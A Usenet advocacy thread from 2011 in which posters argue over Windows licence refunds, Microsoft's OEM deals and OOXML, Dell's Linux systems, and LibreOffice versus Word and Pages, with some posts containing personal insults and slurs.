> <http://www.zdnet.co.uk/news/desktop-os/2007/08/30/microsoft-accused-of-riggin
> g-ooxml-votes-39288959/>

If you do not like the standard you do not have to use it.  It is merely a
choice.  

>>> The "windows tax" continues to exist - it is rare to find someone who
>>> has successfully got a refund for an unused Windows license.
>> 
>> As long as you do not open the box, you can return most software just fine.
>> So it is not hard to get a refund on Windows.  Where people get bent out of
>> shape is when they buy a *system* and then want to return parts of the
>> system and have the company they bought it from set a price on that part.
>> Alone.  And often they want the full selling price of that part.  That is
>> just silly.
> 
> I agree that you should only be entitled to actual cost that the OEM
> paid for the Windows license.

Minus all the associated costs, right?  And if you then wanted to return the
memory, say, you should be able to do that?  And the mouse.  And... well,
whatever components you want?

I like Macs but I do not like the Apple mice.  They were designed by
engineers with non-human hands I think.  I would not even consider telling
Apple I must be able to return the mouse and get a refund.  That would be
silly.

> The click-wrap license for windows specifically allows you to get a
> refund, even though you bought it as part of a complete system - it is
> not like buying a car and asking for a refund for the steering wheel you
> don't want.

I would have to read the license to see this - but if the license says you
can get a refund then you have a point.  Even if it is a loss for the
company.

> From MS's viewpoint, the refund system is legally clear - it is okay
> that Windows is bundled with the system whether you want it or not,
> because you can get your money back if you don't want it.  But (based on
> everything I've read - I haven't tried it myself) OEMs mostly fight to
> stop you getting the refund.  This may be pure conspiracy theory, but
> one reason for this is perhaps that they would have to reveal their
> actual pricing deals with MS - certainly in most cases when people have
> got refunds the refund was much higher than OEMs pay for licenses, and
> often up to the shelf price (of OEM windows).

OEMs sell complete systems.  Unless the license says you can get a refund on
some part, it is sorta silly to think you should be able to get one.

>>> Licensing deals between big OEMs and MS are all closed-doors deals.
>> 
>> As are the deals for most of the components of a computer.  How much does
>> Dell pay for memory?  How about for the drivers they include?
> 
> Yes, I know that.

So why complain about the closed door deal of one part?

>>> All in all - no, I have no evidence to claim MS forces (or just
>>> encourages) OEMs into licensing deals that make it hard for them to
>>> offer non-Windows systems.
>> 
>> Ok: fair enough.  There is no evidence of the accusation.  This I can agree
>> with.
>> 
>>> But I can see it would be /very/ easy for them to get away with such deals -
>>> all in the interests of saving the OEMs money, of course.
>> 
>> Given the level of trouble they got into last time, and the bad publicity, I
>> would not blindly assume such.
> 
> MS has a monopoly position - they are virtually immune to bad publicity
> (they certainly have plenty of practice at handling it).  They also have
> a standard practice of delaying or appealing court cases for long enough
> for the fines to be irrelevant (again, this is not something special to
> MS - many big companies do the same, and you could argue that for the
> sake of their shareholders, they are obliged to do it).  So when they
> are fined for anti-competitive behaviour damaging a competing product,
> then by the time the fine is paid the competitor is long dead, and the
> fine is a tiny fraction of the profit made in that sector.
> 
> These tactics have been getting harder for MS in recent years, as their
> growth has stagnated (having a monopoly in a sector leaves little room
> for growth) and they have more markets in which they must compete on
> technical and economic factors.
> 
> So I try not to "blindly assume", but I do "assume" for the moment.

As long as you do not pretend you are doing something other than assuming.
I do not share that assumption - I prefer to look at evidence of wrong-doing
before saying it is there or making accusations.

This is esp. true when there are other factors which explain the data.  As
discussed before, it makes no sense for Dell to push an OS they would lose
money on.

>>> And I can see it would be in MS's interests to make such deals.  And I have
>>> seen no evidence of a change of heart in MS leadership suggesting they shy
>>> away from any tactics that help crush the competition.
>>> 
>>> Whether you agree with that or not is up to you.
>> 
>> I can see saying you would not doubt it.  I have no problem with that.  To
>> claim it as something that *is*, however, is wrong.  As you noted, you have
>> no evidence to back it up.
> 
> OK, I'll go with that correction.

Fair enough.

>> ...
>>>>> Digging through the links takes you mostly back to main selection pages
>>>>> (leading to windows-only machines), outdated information pages, and some
>>>>> mentions of a couple of end-of-line products that had Linux.
>>>> 
>>>> Yeah... when their was more demand they had more on their site.  Sad to see
>>>> this has diminished so much.
>>> 
>>> To be honest, I expect that most people that were interested in looking
>>> at the site already had PC's running Linux.  At that time, Dell was not
>>> a particularly popular choice of OEM for home users - at least, not the
>>> more knowledgeable ones.
>> 
>> I believe at the time it was the #1 choice of OEMs.  It no longer is.
>> 
>>> They had a bad reputation for customer support for small users in many
>>> countries.  And business users looking for professional Linux machines would
>>> be looking for different sorts of models - and an outdated version of Ubuntu
>>> is unlikely to be their first choice of distro.  So my guess is that Dell
>>> didn't sell many Linux systems.
>> 
>> There is little demand for Linux on the desktop - and those who do want it
>> do not need it pre-bundled, by and large.  As such, when thinking in terms
>> of the quantity of computers Dell and HP sell, there is essentially *no*
>> demand for desktop Linux being pre-installed.  What minimal demand there is,
>> of course, is split between distros: so the only way to meet the demand is
>> to have multiple distros: Ubuntu and Mint and PCLOS and Debian and who knows
>> how many others.  Then you have to market each type and explain the
>> difference... and support them.
> 
> Agreed.

And that is a money loser for them.

>> A mess.  A money-losing proposition.  Why would Dell or HP even consider
>> this?  The fact that they *have* is a good sign for desktop Linux - but it
>> would be rather surprising to see it work.  As even Shuttleworth has noted:
>> 
>>    Question:
>>      -----
>>      What do you see as the main obstacles holding back the
>>      success of the Linux desktop?
>>      -----
>>    Shuttleworth:
>>      -----
>>      I think we don't yet deliver a good enough user experience. I
>>      think we deliver a user experience for people that have a
>>      reason to want to be on the Linux platform, either because of
>>      price or because of freedom. If that was your primary reason,
>>      Linux is the right answer.
>> 
>>      But if you are somebody who is not too concerned about price,
>>      who is not too concerned about freedom, I don't think we can
>>      say the Linux desktop offers the very best experience. And
>>      that's something we have to change, that's something I'm
>>      committed to work on, focusing increasing amounts of
>>      resources of Canonical on figuring out on how we actually
>>      move the desktop experience forward to compete with Mac OS X.
>>      -----
> 
> I am not in full agreement with Shuttleworth, but I do see his point.

Where do you disagree?  [not saying you are wrong to do so... just
curious... this is an opinion after all]

>> And while I do not really like Unity, I think it is hard to argue that
>> Shuttleworth has not been working very hard to do that - things have gotten
>> a lot better on desktop Linux in general since he made those comments (to be
>> clear, not all because of him, in case it sounds that way!).
> 
> Ironically, in his attempt to make Ubuntu and Unity more "newbie
> friendly", turning your PC into a giant mobile telephone, he has
> alienated many existing users.  It is not easy to keep everyone happy.

Agreed.  Now consider Dell's position.  Say they had stuck with Ubuntu.  Now
they are "stuck" with a disto many are not liking, or they have to switch
distros (this is a bit of a marketing mess as well as adds to their costs in
training, etc.) or they have to offer multiple distros - which again costs
them money.

By supporting Ubuntu they would be pretty much screwed.  It is a wonder they
support it as much as they do!  No assumption of Microsoft doing anything
wrong needed.
 
.... 
>>> It has always been the case that most Linux users are happy to install their
>>> own choice of distro themselves.  What they want is systems that the OEMs
>>> will sell without an OS, with a statement of the exact hardware and an
>>> indication of the support in modern Linux distros, and an assurance that the
>>> OEM will not consider installation of Linux as an evil act of vandalism that
>>> voids the warranty.
>>> 
>> Can you find any OEM whose warranty is dependant on keeping Windows on the
>> system? They will not, of course, support software they do not sell... but
>> that makes sense.
>> 
> 
> Try googling "linux warranty" - here's the first hit:
> <http://www.linuxinsider.com/story/69073.html>
> 
> Warranties may not explicitly say "no Linux", but if you can't take your
> PC back to the shop to get hardware problems fixed without a court
> battle, then it might as well say it.

One idiotic Best Buy manager does not prove that it goes against the
warranty.  But, sure, the manager was an idiot.

.... 
>>>>>>> The machines cost more than equivalent ones with Windows, and the pages
>>>>>>> were plastered with "Dell recommends Vista" adverts.  When you tried to
>>>>>>> configure the machines, they tried to sell you MS Office for it.
>>>>>>> 
>>>>>> recommends *Vista*?  Um, no.
>>>>>> 
>>>>> Past tense - I was referring to the brief time when Dell made a vague
>>>>> effort to sell Linux desktops, and had links that were practical to find.
>>>>> 
>>>> At the time they were much easier to find.  Heck, Linux systems were in
>>>> Wal-Mart.  Hard to get easier to find than that.
>>>> 
>>> I didn't know that (I am not in the USA - we don't have Wal-Mart).
>>> 
>> There is a corner of the world they have not tried to take over?  Wow.  :)
> 
> It would not be easy for Wal-Mart to establish themselves in Norway.
> For one thing, our minimum wage laws would bankrupt them - we insist
> that people be able to live on their earnings from full-time jobs.

While I can see acceptations in some cases, I wish the US would get such
laws. But that is a topic for another day. :)

.... 
>>> Well, I'm not sure it made sense for them to try at all - I think their
>>> limited effort was perhaps worse than useless.  I would have preferred
>>> that they simply made "no OS" an option in their standard system
>>> configuration.
>> 
>> If they were to do that they would likely end up with higher support costs.
> 
> As you said before, you can't expect a supplier to provide support for
> software they don't sell.  If they pre-installed Linux, they would have
> to support it - and I agree that means extra costs (especially since
> Linux users are less likely to accept "did you try ctrl-alt-delete?" as
> a "solution"...).  No OS means no support for the OS.

They will get lots of calls with people running into problems with such
systems.  Then you have a PR nightmare of turning them all away.

>> Right now their support is largely: rest to factory default and let your
>> data die.
> 
> Yes, which for many users means there is currently no /real/ support for
> Windows from OEM's.

Often correct.

>> With a no-OS computer they would get a lot of calls from people
>> trying to install all sorts of stuff... and running into troubles (that is
>> inevitable, I am not saying Linux is hard to install).  So then they likely
>> would have to charge *more* for a system with no OS, or at least as much
>> (and that does not even take into consideration the garbage-ware that they
>> get paid to include).  So they would have the option to buy a full system
>> for X dollars or an incomplete system for the same amount or perhaps even
>> more.
> 
> I don't get that - I would not expect them to try to provide support for
> an OS they didn't provide.  It would be nice for the OEM to provide a
> website - FAQs, knowledge base, howtos, etc., - that would help them
> stand out, for a relatively low cost since it is not personal telephone
> or email support.  And the usual trick - set up some forums and let
> users support each other - would work well here.

Still: when the bloggers start writing about how they bought a Dell XYX and
tried to install Distro X on it only to find it did not work and Dell did
not tell them up front, this is a risk to Dell.

For this to work Dell would need to make it clear you buy the system at your
own risk.  That is a very different message than their current one (replace
Dell with HP or whatever other large seller you wish).

>> Not exactly something one can make a good case for.
>> 
>> Since the no-OS option is not likely to be cheaper than than the Windows
>> version, and the included copy of Windows does nothing to make it harder to
>> install Linux, there really is no need for a no-OS version.
>> 

.... 
>>> We use pdfcreator as standard on all Windows PC's for general pdf
>>> "printing".  But pdf export directly from OpenOffice is much better than
>>> just a printout - the pdf file is smaller and faster to use, tables of
>>> contents give you proper bookmarks, and links and cross-references all
>>> work.  For structured documents, you get a much more professional result.
>> 
>> Hmmm, I know OS X's print to PDF includes a lot of that... I would have to
>> play with CutePDF and Word.  I thought it did, too.  I could be wrong.  If I
>> am, then yes, that is an advantage of OpenOffice / LibreOffice.
> 
> As far as I know, OS X's print-to-pdf is the same as Linux (after all,
> Apple are the current maintainers of CUPS).

Yes.  Though with PDF Services, you also have all sorts of options when you
"print" to PDF.  Here is the menu from my system (though I have added and
removed some items):

    <http://tmp.gallopinginsanity.com/PDF-Services.png>

> It's possible that it has some sort of automation, such as identifying
> headings by their larger font and making bookmarks from them, or turning
> strings that look like URL's into links (a pdf reader might also do that).
> But it is still a case of throwing out the semantic and structural
> information, then re-creating it - but with the direct route (such as
> OpenOffice export to pdf, pdfLaTeX, FrameMaker to pdf, etc.) you keep all the
> information and get a better result.

I would have to test the effectiveness of the Windows solutions.  This may
be an advantage of OpenOffice over Word (on Windows).  I can accept that.

.... 
>>> I don't have any experience with Pages, but I can give you a hint for
>>> OpenOffice - hold shift down when you resize, and it will keep the
>>> aspect ratio.
>> 
>> I *expected* that.  It did not happen.  I was surprised.  Here, with the
>> shift-key being shown by an arrow when it is being used:
>> 
>>      <http://tmp.gallopinginsanity.com/shift-resize.mov>
> 
> I'll look at that link later, but shift-resize has always worked for me.

Odd.  Wonder why it does not work on my Mint system?

>>> I'd agree that this is perhaps not intuitive, and that it should be the
>>> default behaviour, but it /does/ work.
>> 
>> If that did work it would not be that big of a deal - that is the norm for
>> many image programs and it could even be argued that while that is less
>> intuitive it is a benefit because of the consistency.
>> 
>>> And the "original size" button also works - but like the other sizes in the
>>> properties box, it is not real time - it doesn't take effect until you click
>>> OK.
>> 
>> Just tested and you are correct... but the percentages are messed up, as
>> shown in the original video.
>> 
>> Can you not see why, after working with a modern and professionally designed
>> package, how LibreOffice would seem a bit... primitive, for lack of a better
>> term?  They YouTube video really is quite telling.
> 
> I don't disagree with you here.  But it has never been a problem for me
> - perhaps because I prefer a simpler way of doing things (for Windows, I
> prefer XP with the "classic" theme, rather than the teletubbies look).
> Still, you are not alone in feeling that OpenOffice could do with a
> makeover and progress in the interface and user experience - a major
> motivation behind LibreOffice (and previous groups such as GoOO) has
> been the feeling that development progress was too slow.

If you are looking for a more simple way, I think it is hard to argue that
LibreOffice "wins" in the example in the video.

>>>> I find these types of things in OpenOffice / LibreOffice all the time (or
>>>> where complaints about MS Office are not true).  From some past experiences
>>>> (videos of me working):
>>>> 
>>>>     Indents / styles:
>>>>       <http://tmp.gallopinginsanity.com/OOIndents.mov>
>>>>       <http://tmp.gallopinginsanity.com/OOIndents2.mov>
>>>> 
>>>>     In response to complaints about how much space the ribbon takes:
>>>>       <http://tmp.gallopinginsanity.com/ribbon-space.mov>
>>>> 
>>>> On and on... there just are not many places where OO/LibrO shine as far as
>>>> >>>> I can tell.  If you can point me to some of those areas, though, I am
>>>> happy to look into them and report what I find.
>>>> 
>>> Well, as I say it's a lot to do with taste and how you like to use the
>>> program.
>>> 
>> I think I have given some very definite areas where OO.o/LibreO are just
>> objectively inferior.  You have given one where they are better at least out
>> of the box... though you can pretty easily upgrade MS Word to include pretty
>> good PDF export support (and if you need more you can get Acrobat plugins
>> which give you a *lot* of power with PDFs - they are not free however).
>> 
>> I think my LibreOffice / Pages comparison is just striking - LibreOffice is
>> just primitive by comparison.  I really think that is hard to argue against.
> 
> I don't know much about Pages, but I gather it has more DTP
> functionality than most word processors.

Yes.  Though Word is not bad their, either.

> So I would expect better features for manipulating images and image layout.
> However, I can honestly say that I have never once felt the need to rotate an
> image inserted into a word-processing document - some scaling, and a choice of
> anchoring to the page or paragraph is enough for me.

It is not that uncommon to want to rotate an image.

> However, the big problem with Pages (correct me here if I am wrong) is
> that is for the Mac only, and it doesn't even do a good job of importing
> and exporting other formats.  If it ran native on Linux and Windows as
> well, it might be a contender as a serious office use.  As it is, it is
> only for people who can live in a Mac world - and perhaps as a showcase
> for how a word processor /could/ function.

It is Mac only... though it does import and export to Word about as well as
LibreOffice (perhaps better - it gives a list of things it cannot handle).

> I found a comparison here:
> 
> <http://pagesfaq.blogspot.com/2008/11/openoffice-30-and-pages-30-comparison.ht
> ml>

Some of those are wrong or at best outdated.  Many, really.  It is trivial
to export to PDF, Word, RTF, PlainText or ePub with Pages, for example.  And
Pages has had AppleScript support for some time - though older versions did
not. But, yes, Pages is not as "full-featured" as is Word.

> Coming from a background of LaTeX for documents, I find OpenOffice's
> lack of typographic features a shame - no ligatures, no decent spacing
> rules, etc.  It seems that Pages does that better.

Yes.  OS X has a lot of that built in... so almost all programs support
ligatures and the like.

>>> To me, the idea of visually modifying margins by selecting bits of text and
>>> then creating styles out of them is working backwards - I set up my styles
>>> the way I want them, and use them consistently in a document.  If I want to
>>> change the appearance of a style, I'll modify the style - not manual
>>> modification of the document.  OpenOffice suits my way of working here.
>>> 
>> If you can show an example of OpenOffice (or LibreOffice... just assume that
>> when I say OpenOffice!) doing what I show MS Word doing I would love to see
>> it.  I cannot get it to work (I have not tried in a while... maybe it has
>> been fixed?)
>> 
>>> (Actually, I prefer to write serious documents with LaTeX, but I have to
>>> make /some/ sacrifices for compatibility with other people.)
>>> 
>> But you can do that on any OS.
> 
> Yes, I can write LaTeX with any OS - and the generated pdf's can be read
> anywhere (actually, I discovered that while evince on Linux was quite
> happy with unicode in bookmarks, foxit reader on windows couldn't
> display the characters properly).  It's not compatibility with OS's
> that's the problem - it's compatibility with colleagues.  The learning
> curve for LaTeX is a little longer and harder than for OO or other word
> processors.

And it is not a word processor.  :)



-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 3:01:44 PM
TomB <tommy.bongaerts@gmail.com> writes:

> On 2011-09-06, the following emerged from the brain of David Brown:
>
> 8<
>
>> It is far from easy to buy pre-build PC's either with Linux installed, 
>> or at least without Windows.  It varies quite a bit from country to 
>> country - but certainly you are going to get a much smaller selection, 
>> and pay higher prices.  (That's for desktops and laptops - any serious 
>> server supplier will offer you machines with Linux pre-installed, or no 
>> OS if you prefer.)
>
> We have been telling this over and over again, but the silly trolls
> simply don't get it.

Huh? Who doesnt get it?

Its common sense that if you want a minority product its harder to
get. But in this case not that hard. You want it? Go buy it. People ARE
there.

Why are you such a fuckwit?

Surely you dont expect the same selection for an OS that less than 1% of
home users use?? Are you a total retard or merely a little special?

ALL my last HW I got with no OS. No. I lied. My netbook came with Win
7. Which I need when travelling (unplugged) because it lasts more than
twice as long as my Debian for web browsing and email when on battery
power.

0
hadronquark (21814)
9/7/2011 3:08:06 PM
On Sep 7, 3:49=A0pm, Peter K=F6hlmann <peter-koehlm...@t-online.de> wrote:
> Dustin wrote:

> And I am Santa Claus
> When you are lying, please don't do it so obviously. You are insulting
> people with such low-IQ lies
>
> > Second,
> > When I said linux wasn't a money maker, I was talking about that from
> > the malware author benefits. Theres no money in 0wning linux boxes,
> > yet.
>
> You did not need to confirm that you are a blithering idiot. That fact wa=
s
> already established

U stupid kraut.  Do you know who you are talking too?  This is the
famous Dustin who has written malware for testing purposes.  He could
wreck your PC remotely if he wanted to!

DumbKrauf is your name.  Fitting.  Now get back to your factory
workstation and make some money for the Greeks.

VAMOS!

RL
0
raylopez88 (1520)
9/7/2011 5:24:52 PM
On Sep 7, 7:01=A0pm, David Brown <da...@westcontrol.removethisbit.com>
wrote:
> On 07/09/2011 00:12, Snit wrote:
>
>

>
> read more =BB

Post less.  Your verbal diarrhea coupled with your evasive answers is
pretty noticeable even by a casual reader of your slop.

RL
0
raylopez88 (1520)
9/7/2011 5:27:32 PM
RayLopez99 stated in post
bec2d90b-0a4d-4a95-81f4-3a131703af86@u20g2000yqj.googlegroups.com on 9/7/11
10:27 AM:

> On Sep 7, 7:01 pm, David Brown <da...@westcontrol.removethisbit.com>
> wrote:
>> On 07/09/2011 00:12, Snit wrote:
>> 
>> 
> 
>> 
>> read more »
> 
> Post less.  Your verbal diarrhea coupled with your evasive answers is
> pretty noticeable even by a casual reader of your slop.
> 
> RL

He makes more sense than the COLA "advocates".  By far.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 5:29:52 PM
On 09/06/2011 06:50 PM, RonB wrote:
> On Tue, 06 Sep 2011 18:32:07 -0700, Sneaky Weasel wrote:
>
>> LibreOffice does everything I need it to do and a lot more. Most people
>> never use a fraction of what any of these office programs do so any of
>> them will work just fine.
>
> Exactly. For the few machines that actually use Office macros, run Windows
> (or Wine) and M$ Office. For everyone else, use OOo or LibreOffice.
>
> Non-problem solved.
>
When would you even need to use a macro? We are talking a word 
processor! You write and you format. Maybe you add a graph or a table. 
LibreOffice handles this perfectly. No need for Word ever. Snit calling 
LibreOffice 'primative' is just stupid.
0
Sneaky (395)
9/7/2011 6:29:47 PM
On Wed, 07 Sep 2011 11:29:47 -0700, Sneaky Weasel wrote:

> On 09/06/2011 06:50 PM, RonB wrote:
>> On Tue, 06 Sep 2011 18:32:07 -0700, Sneaky Weasel wrote:
>>
>>> LibreOffice does everything I need it to do and a lot more. Most
>>> people never use a fraction of what any of these office programs do so
>>> any of them will work just fine.
>>
>> Exactly. For the few machines that actually use Office macros, run
>> Windows (or Wine) and M$ Office. For everyone else, use OOo or
>> LibreOffice.
>>
>> Non-problem solved.
>>
> When would you even need to use a macro? We are talking a word
> processor! You write and you format. Maybe you add a graph or a table.
> LibreOffice handles this perfectly. No need for Word ever. Snit calling
> LibreOffice 'primative' is just stupid.

Some companies have been relying on a specific macros for years. The print 
shop where I use to work had a few "necessary" macros for the accountant's 
Word and Excel applications. So, when most of the company moved to 
OpenOffice (on Windows), the accountant just stayed with Microsoft Office.

Non-problem solved.

-- 
RonB
Registered Linux User #498581 
CentOS 5.6 or VectorLinux Deluxe 6.0
or Linux Mint 10
0
ronb02noSPAM (7426)
9/7/2011 6:44:10 PM
Peter K�hlmann <peter-koehlmann@t-online.de> wrote in
news:j477mu$rgk$3@dont-email.me: 

> Dustin wrote:
> 
>> Peter =?UTF-8?B?S8O2aGxtYW5u?= <peter-koehlmann@t-online.de> wrote
>> in news:j3tsg2$78p$1@dont-email.me:
>> 
>>> Maybe not Fort Know, but a lot safer? You bet
>> 
>> I doubt it.
>>  
>>> And that same old bullshit over and over again.
>> 
>> Not bullshit.
>>  
>>> Tell me, how did I ever get that Mac I use for programming OSX
>>> stuff? How did I buy those other 7 computers I to be found here?
>>> How did my son get his Mac? His iPhone?
>> 
>> I think you missed the point here.
>>  
>>> How did I ever get to buy a sailboat?
>> 
>> Yep, you didn't get what I wrote at all.
>>  
>>> Just don't tell us that you try to be dumber than Hadron Larry.
>>> First, thats a near impossible feat. Second, it is by no means
>>> desireable
>> 
>> First,
>> 
>> I'm a professional malware researcher with long standing
>> credentials in the field.
> 
> And I am Santa Claus
> When you are lying, please don't do it so obviously. You are
> insulting people with such low-IQ lies

You know what I personally find most amusing? When you tell people the 
truth, they really don't believe you. It's easier to convince a person 
of a lie. Alright then,

Are you familiar with a product known as malwarebytes? :)



-- 
I am a sinner
Hold my prayers upto the sun
I am a sinner
Heaven's closed for what I've done.
0
9/7/2011 7:06:39 PM
Sneaky Weasel stated in post 4e67b81d$1@news.x-privat.org on 9/7/11 11:29
AM:

> On 09/06/2011 06:50 PM, RonB wrote:
>> On Tue, 06 Sep 2011 18:32:07 -0700, Sneaky Weasel wrote:
>> 
>>> LibreOffice does everything I need it to do and a lot more. Most people
>>> never use a fraction of what any of these office programs do so any of
>>> them will work just fine.
>> 
>> Exactly. For the few machines that actually use Office macros, run Windows
>> (or Wine) and M$ Office. For everyone else, use OOo or LibreOffice.
>> 
>> Non-problem solved.
>> 
> When would you even need to use a macro? We are talking a word
> processor! You write and you format. Maybe you add a graph or a table.
> LibreOffice handles this perfectly.

Macros are used with Office often.  Even if you do not know why.

> No need for Word ever. Snit calling
> LibreOffice 'primative' is just stupid.

Here is the video:

    <http://www.youtube.com/watch?v=ootjP-cFVO8>

And I noted for *that* example LibreOffice is primitive in comparison to the
modern and well designed product.  Please stop lying about my views.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/7/2011 7:08:04 PM
FromTheRafters wrote:

yet, Another "Snit Circus" enabler...time to plonk


PLONK! 
0
none10 (4038)
9/7/2011 7:44:02 PM
On 07/09/11 17:01, Snit wrote:
> David Brown stated in post h-WdneHps-sH0vrTnZ2dnUVZ8gmdnZ2d@lyse.net on
> 9/7/11 4:01 AM:
>
>> On 07/09/2011 00:12, Snit wrote:
>>> David Brown stated in post 15GdndbfWa_AEfvTnZ2dnUVZ8hadnZ2d@lyse.net on
>>> 9/6/11 2:10 PM:
>>>
>>>> On 06/09/11 18:33, Snit wrote:
>>>>> David Brown stated in post INadnamiOoYcp_vTnZ2dnUVZ8g6dnZ2d@lyse.net on
>>>>> 9/6/11 8:19 AM:
>>>>>>
>>>>>> I haven't bothered to keep track of this particular issue in recent
>>>>>> times - but I've seen plenty of other shady business practices from
>>>>>> them.  I'll assume that the leopard has not changed its spots.
>>>>>
>>>>> Ah, the old no-evidence-so-let's-assume-the-worst concept.  Got it.
>>>>>
>>>>> I would like to see current, relevant evidence before I jump to
>>>>> conclusions.
>>>>>
>>>>>
>>>>> But why assume - without evidence - that the illegal deals of the past are
>>>>> still happening?  I do not think anyone denies they *happened*, the
>>>>> contention is in saying that they still exist even thought here is no
>>>>> evidence and there is contrary evidence (OEMs selling Linux based systems).
>>>>
>>>> As you say, there is little doubt that such illegal deals did happen.
>>>
>>> Without getting too philosophical, I would be willing to say there is no
>>> doubt.
>>>
>>>> There is little doubt that MS have always considered it better for
>>>> someone to use /their/ software without paying, than to use software
>>>> from somewhere else.  There is also little doubt that MS continues to
>>>> engage in behaviour that is at best ethically questionable, and at worst
>>>> directly illegal.  Big examples involve their influence behind the SCO
>>>> farce, and the OOXML "standardisation" - practically destroying the most
>>>> important international standards organisation to protect their near
>>>> monopoly.
>>>
>>> I think the OOXML complaints have been overblown in COLA.  For example, look
>>> at the Wikipedia page and see the list of complaints:
>>> <http://en.wikipedia.org/wiki/Office_Open_XML>
>
>> In an effort to keep my sanity, I don't follow COLA.  I just bump into
>> occasional cross-posted threads.
>
> Has that worked for you?  :)
>
>> So I don't know what was said in COLA about OOXML, but that wikipedia
>> article discusses the "standard" itself, and not the /standardisation/
>> process.  Here is just a single example link, as I don't want to bogged
>> down in yet another sidetrack!
>>
>> <http://www.zdnet.co.uk/news/desktop-os/2007/08/30/microsoft-accused-of-riggin
>> g-ooxml-votes-39288959/>
>
> If you do not like the standard you do not have to use it.  It is merely a
> choice.
>
>>>> The "windows tax" continues to exist - it is rare to find someone who
>>>> has successfully got a refund for an unused Windows license.
>>>
>>> As long as you do not open the box, you can return most software just fine.
>>> So it is not hard to get a refund on Windows.  Where people get bent out of
>>> shape is when they buy a *system* and then want to return parts of the
>>> system and have the company they bought it from set a price on that part.
>>> Alone.  And often they want the full selling price of that part.  That is
>>> just silly.
>>
>> I agree that you should only be entitled to actual cost that the OEM
>> paid for the Windows license.
>
> Minus all the associated costs, right?  And if you then wanted to return the
> memory, say, you should be able to do that?  And the mouse.  And... well,
> whatever components you want?
>
> I like Macs but I do not like the Apple mice.  They were designed by
> engineers with non-human hands I think.  I would not even consider telling
> Apple I must be able to return the mouse and get a refund.  That would be
> silly.
>
>> The click-wrap license for windows specifically allows you to get a
>> refund, even though you bought it as part of a complete system - it is
>> not like buying a car and asking for a refund for the steering wheel you
>> don't want.
>
> I would have to read the license to see this - but if the license says you
> can get a refund then you have a point.  Even if it is a loss for the
> company.
>

Yes, it's that license that makes it different, and means that you do 
have the right to a refund even though it was bundled with the system.

>>  From MS's viewpoint, the refund system is legally clear - it is okay
>> that Windows is bundled with the system whether you want it or not,
>> because you can get your money back if you don't want it.  But (based on
>> everything I've read - I haven't tried it myself) OEMs mostly fight to
>> stop you getting the refund.  This may be pure conspiracy theory, but
>> one reason for this is perhaps that they would have to reveal their
>> actual pricing deals with MS - certainly in most cases when people have
>> got refunds the refund was much higher than OEMs pay for licenses, and
>> often up to the shelf price (of OEM windows).
>
> OEMs sell complete systems.  Unless the license says you can get a refund on
> some part, it is sorta silly to think you should be able to get one.
>

Well, the click-through license on windows says you can.

>>>> Licensing deals between big OEMs and MS are all closed-doors deals.
>>>
>>> As are the deals for most of the components of a computer.  How much does
>>> Dell pay for memory?  How about for the drivers they include?
>>
>> Yes, I know that.
>
> So why complain about the closed door deal of one part?

It wasn't a complaint - merely a statement of fact.  It just looked like 
a complaint.

>
>>>> All in all - no, I have no evidence to claim MS forces (or just
>>>> encourages) OEMs into licensing deals that make it hard for them to
>>>> offer non-Windows systems.
>>>
>>> Ok: fair enough.  There is no evidence of the accusation.  This I can agree
>>> with.
>>>
>>>> But I can see it would be /very/ easy for them to get away with such deals -
>>>> all in the interests of saving the OEMs money, of course.
>>>
>>> Given the level of trouble they got into last time, and the bad publicity, I
>>> would not blindly assume such.
>>
>> MS has a monopoly position - they are virtually immune to bad publicity
>> (they certainly have plenty of practice at handling it).  They also have
>> a standard practice of delaying or appealing court cases for long enough
>> for the fines to be irrelevant (again, this is not something special to
>> MS - many big companies do the same, and you could argue that for the
>> sake of their shareholders, they are obliged to do it).  So when they
>> are fined for anti-competitive behaviour damaging a competing product,
>> then by the time the fine is paid the competitor is long dead, and the
>> fine is a tiny fraction of the profit made in that sector.
>>
>> These tactics have been getting harder for MS in recent years, as their
>> growth has stagnated (having a monopoly in a sector leaves little room
>> for growth) and they have more markets in which they must compete on
>> technical and economic factors.
>>
>> So I try not to "blindly assume", but I do "assume" for the moment.
>
> As long as you do not pretend you are doing something other than assuming.
> I do not share that assumption - I prefer to look at evidence of wrong-doing
> before saying it is there or making accusations.
>
> This is esp. true when there are other factors which explain the data.  As
> discussed before, it makes no sense for Dell to push an OS they would lose
> money on.
>
>>>> And I can see it would be in MS's interests to make such deals.  And I have
>>>> seen no evidence of a change of heart in MS leadership suggesting they shy
>>>> away from any tactics that help crush the competition.
>>>>
>>>> Whether you agree with that or not is up to you.
>>>
>>> I can see saying you would not doubt it.  I have no problem with that.  To
>>> claim it as something that *is*, however, is wrong.  As you noted, you have
>>> no evidence to back it up.
>>
>> OK, I'll go with that correction.
>
> Fair enough.
>
>>> ...
>>>>>> Digging through the links takes you mostly back to main selection pages
>>>>>> (leading to windows-only machines), outdated information pages, and some
>>>>>> mentions of a couple of end-of-line products that had Linux.
>>>>>
>>>>> Yeah... when their was more demand they had more on their site.  Sad to see
>>>>> this has diminished so much.
>>>>
>>>> To be honest, I expect that most people that were interested in looking
>>>> at the site already had PC's running Linux.  At that time, Dell was not
>>>> a particularly popular choice of OEM for home users - at least, not the
>>>> more knowledgeable ones.
>>>
>>> I believe at the time it was the #1 choice of OEMs.  It no longer is.
>>>
>>>> They had a bad reputation for customer support for small users in many
>>>> countries.  And business users looking for professional Linux machines would
>>>> be looking for different sorts of models - and an outdated version of Ubuntu
>>>> is unlikely to be their first choice of distro.  So my guess is that Dell
>>>> didn't sell many Linux systems.
>>>
>>> There is little demand for Linux on the desktop - and those who do want it
>>> do not need it pre-bundled, by and large.  As such, when thinking in terms
>>> of the quantity of computers Dell and HP sell, there is essentially *no*
>>> demand for desktop Linux being pre-installed.  What minimal demand there is,
>>> of course, is split between distros: so the only way to meet the demand is
>>> to have multiple distros: Ubuntu and Mint and PCLOS and Debian and who knows
>>> how many others.  Then you have to market each type and explain the
>>> difference... and support them.
>>